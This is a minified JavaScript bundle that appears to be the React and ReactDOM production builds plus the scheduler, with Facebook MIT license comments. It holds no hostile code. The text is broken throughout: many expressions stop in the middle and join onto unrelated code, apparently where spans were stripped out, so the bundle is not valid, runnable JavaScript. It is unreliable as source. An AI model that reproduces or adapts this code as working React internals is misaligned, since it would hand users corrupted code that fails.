e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var tw={exports:{}},Yu={},nw={exports:{}},Se={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Jo=Symbol.for("react.element"),hS=Symbol.for("react.portal"),xS=Symbol.for("react.fragment"),vS=Symbol.for("react.strict_mode"),gS=Symbol.for("react.profiler"),yS=Symbol.for("react.provider"),bS=Symbol.for("react.context"),wS=Symbol.for("react.forward_ref"),jS=Symbol.for("react.suspense"),NS=Symbol.for("react.memo"),kS=Symbol.for("react.lazy"),Ov=Symbol.iterator;function zS(e){return e===null||typeof e!="object"?null:(e=Ov&&e[Ov]||e["@@iterator"],typeof e=="function"?e:null)}var rw={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},iw=Object.assign,aw={};function hs(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}hs.prototype.isReactComponent={};hs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};hs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function sw(){}sw.prototype=hs.prototype;function Ph(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}var Eh=Ph.prototype=new sw;Eh.constructor=Ph;iw(Eh,hs.prototype);Eh.isPureReactComponent=!0;var Tv=Array.isArray,ow=Object.prototype.hasOwnProperty,_h={current:null},lw={key:!0,ref:!0,__self:!0,__source:!0};function cw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)ow.call(t,r)&&!lw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Z=M[V];if(0>>1;Vi(be,U))yei(q,be)?(M[V]=q,M[ye]=U,V=ye):(M[V]=be,M[ue]=U,V=ue);else if(yei(q,U))M[V]=q,M[ye]=U,V=ye;else break e}}return F}function i(M,F){var U=M.sortIndex-F.sortIndex;return U!==0?U:M.id-F.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(M){for(var F=n(u);F!==null;){if(F.callback===null)r(u);else if(F.startTime<=M)r(u),F.sortIndex=F.expirationTime,t(c,F);else break;F=n(u)}}function j(M){if(g=!1,w(M),!x)if(n(c)!==null)x=!0,K(N);else{var F=n(u);F!==null&&_(j,F.startTime-M)}}function N(M,F){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var U=p;try{for(w(F),f=n(c);f!==null&&(!(f.expirationTime>F)||M&&!T());){var V=f.callback;if(typeof V=="function"){f.callback=null,p=f.priorityLevel;var Z=V(f.expirationTime<=F);F=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(F)}else r(c);f=n(c)}if(f!==null)var ae=!0;else{var ue=n(u);ue!==null&&_(j,ue.startTime-F),ae=!1}return ae}finally{f=null,p=U,h=!1}}var k=!1,z=null,S=-1,O=5,A=-1;function T(){return!(e.unstable_now()-AM||125V?(M.sortIndex=U,t(u,M),n(c)===null&&M===n(u)&&(g?(v(S),S=-1):g=!0,_(j,U-V))):(M.sortIndex=Z,t(c,M),x||h||(x=!0,K(N))),M},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(M){var F=p;return function(){var U=p;p=F;try{return M.apply(this,arguments)}finally{p=U}}}})(hw);pw.exports=hw;var IS=pw.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var DS=m,pn=IS;function ee(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Im=Object.prototype.hasOwnProperty,RS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Lv={},Iv={};function $S(e){return Im.call(Iv,e)?!0:Im.call(Lv,e)?!1:RS.test(e)?Iv[e]=!0:(Lv[e]=!0,!1)}function BS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function FS(e,t,n,r){if(t===null||typeof t>"u"||BS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Th=/[\-:]([a-z])/g;function Mh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Lh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==s[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{Af=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Qs(e):""}function WS(e){switch(e.tag){case 5:return Qs(e.type);case 16:return Qs("Lazy");case 13:return Qs("Suspense");case 19:return Qs("SuspenseList");case 0:case 2:case 15:return e=Of(e.type,!1),e;case 11:return e=Of(e.type.render,!1),e;case 1:return e=Of(e.type,!0),e;default:return""}}function Bm(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Aa:return"Fragment";case _a:return"Portal";case Dm:return"Profiler";case Ih:return"StrictMode";case Rm:return"Suspense";case $m:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case gw:return(e.displayName||"Context")+".Consumer";case vw:return(e._context.displayName||"Context")+".Provider";case Dh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Rh:return t=e.displayName||null,t!==null?t:Bm(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return Bm(e(t))}catch{}}return null}function US(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Bm(t);case 8:return t===Ih?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function bw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function VS(e){var t=bw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Sl(e){e._valueTracker||(e._valueTracker=VS(e))}function ww(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=bw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Pc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Fm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Rv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function jw(e,t){t=t.checked,t!=null&&Lh(e,"checked",t,!1)}function Wm(e,t){jw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Um(e,t.type,n):t.hasOwnProperty("defaultValue")&&Um(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function $v(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Um(e,t,n){(t!=="number"||Pc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Js=Array.isArray;function Ha(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=Cl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function xo(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var ao={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},HS=["Webkit","ms","Moz","O"];Object.keys(ao).forEach(function(e){HS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ao[t]=ao[e]})});function Sw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||ao.hasOwnProperty(e)&&ao[e]?(""+t).trim():t+"px"}function Cw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Sw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var KS=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Km(e,t){if(t){if(KS[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(ee(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(ee(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(ee(61))}if(t.style!=null&&typeof t.style!="object")throw Error(ee(62))}}function Gm(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function $h(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Ka=null,Ga=null;function Wv(e){if(e=nl(e)){if(typeof qm!="function")throw Error(ee(280));var t=e.stateNode;t&&(t=Ju(t),qm(e.stateNode,e.type,t))}}function Pw(e){Ka?Ga?Ga.push(e):Ga=[e]:Ka=e}function Ew(){if(Ka){var e=Ka,t=Ga;if(Ga=Ka=null,Wv(e),t)for(e=0;e>>=0,e===0?32:31-(rC(e)/iC|0)|0}var Pl=64,El=4194304;function eo(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Oc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=eo(l):(s&=o,s!==0&&(r=eo(s)))}else o=n&~i,o!==0?r=eo(o):s!==0&&(r=eo(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function el(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function lC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=oo),Zv=" ",Qv=!1;function qw(e,t){switch(e){case"keyup":return IC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Oa=!1;function RC(e,t){switch(e){case"compositionend":return Xw(t);case"keypress":return t.which!==32?null:(Qv=!0,Zv);case"textInput":return e=t.data,e===Zv&&Qv?null:e;default:return null}}function $C(e,t){if(Oa)return e==="compositionend"||!Gh&&qw(e,t)?(e=Gw(),fc=Vh=oi=null,Oa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=ng(n)}}function e5(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?e5(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function t5(){for(var e=window,t=Pc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Pc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function YC(e){var t=t5(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&e5(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=rg(n,s);var o=rg(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ta=null,tp=null,co=null,np=!1;function ig(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;np||Ta==null||Ta!==Pc(r)||(r=Ta,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),co&&jo(co,r)||(co=r,r=Lc(tp,"onSelect"),0Ia||(e.current=lp[Ia],lp[Ia]=null,Ia--)}function Be(e,t){Ia++,lp[Ia]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function ts(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Dc(){Ue(Qt),Ue($t)}function dg(e,t,n){if($t.current!==ki)throw Error(ee(168));Be($t,t),Be(Qt,n)}function u5(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(ee(108,US(e)||"Unknown",i));return Ze({},n,r)}function Rc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function fg(e,t,n){var r=e.stateNode;if(!r)throw Error(ee(169));n?(e=u5(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,ed=!1,Kf=!1;function d5(e){jr===null?jr=[e]:jr.push(e)}function sP(e){ed=!0,d5(e)}function _i(){if(!Kf&&jr!==null){Kf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e>=o,i-=o,kr=1<<32-Kn(t)+i|n<S?(O=z,z=null):O=z.sibling;var A=p(v,z,w[S],j);if(A===null){z===null&&(z=O);break}e&&z&&A.alternate===null&&t(v,z),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A,z=O}if(S===w.length)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;SS?(O=z,z=null):O=z.sibling;var T=p(v,z,A.value,j);if(T===null){z===null&&(z=O);break}e&&z&&T.alternate===null&&t(v,z),b=s(T,b,S),k===null?N=T:k.sibling=T,k=T,z=O}if(A.done)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;!A.done;S++,A=w.next())A=f(v,A.value,j),A!==null&&(b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return Ke&&$i(v,S),N}for(z=r(v,z);!A.done;S++,A=w.next())A=h(z,v,S,A.value,j),A!==null&&(e&&A.alternate!==null&&z.delete(A.key===null?S:A.key),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return e&&z.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===Aa&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case zl:e:{for(var N=w.key,k=b;k!==null;){if(k.key===N){if(N=w.type,N===Aa){if(k.tag===7){n(v,k.sibling),b=i(k,w.props.children),b.return=v,v=b;break e}}else if(k.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&hg(N)===k.type){n(v,k.sibling),b=i(k,w.props),b.ref=Ds(v,k,w),b.return=v,v=b;break e}n(v,k);break}else t(v,k);k=k.sibling}w.type===Aa?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=bc(w.type,w.key,w.props,null,v.mode,j),j.ref=Ds(v,b,w),j.return=v,v=j)}return o(v);case _a:e:{for(k=w.key;b!==null;){if(b.key===k)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=em(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return k=w._init,y(v,b,k(w._payload),j)}if(Js(w))return x(v,b,w,j);if(Os(w))return g(v,b,w,j);Il(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Jf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var rs=h5(!0),x5=h5(!1),Fc=Ei(null),Wc=null,$a=null,Qh=null;function Jh(){Qh=$a=Wc=null}function ex(e){var t=Fc.current;Ue(Fc),e._currentValue=t}function dp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function qa(e,t){Wc=e,Qh=$a=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Yt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Qh!==e)if(e={context:e,memoizedValue:t,next:null},$a===null){if(Wc===null)throw Error(ee(308));$a=e,Wc.dependencies={lanes:0,firstContext:e}}else $a=$a.next=e;return t}var Ki=null;function tx(e){Ki===null?Ki=[e]:Ki.push(e)}function v5(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,tx(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function nx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function g5(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,tx(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function pc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}function xg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Uc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else 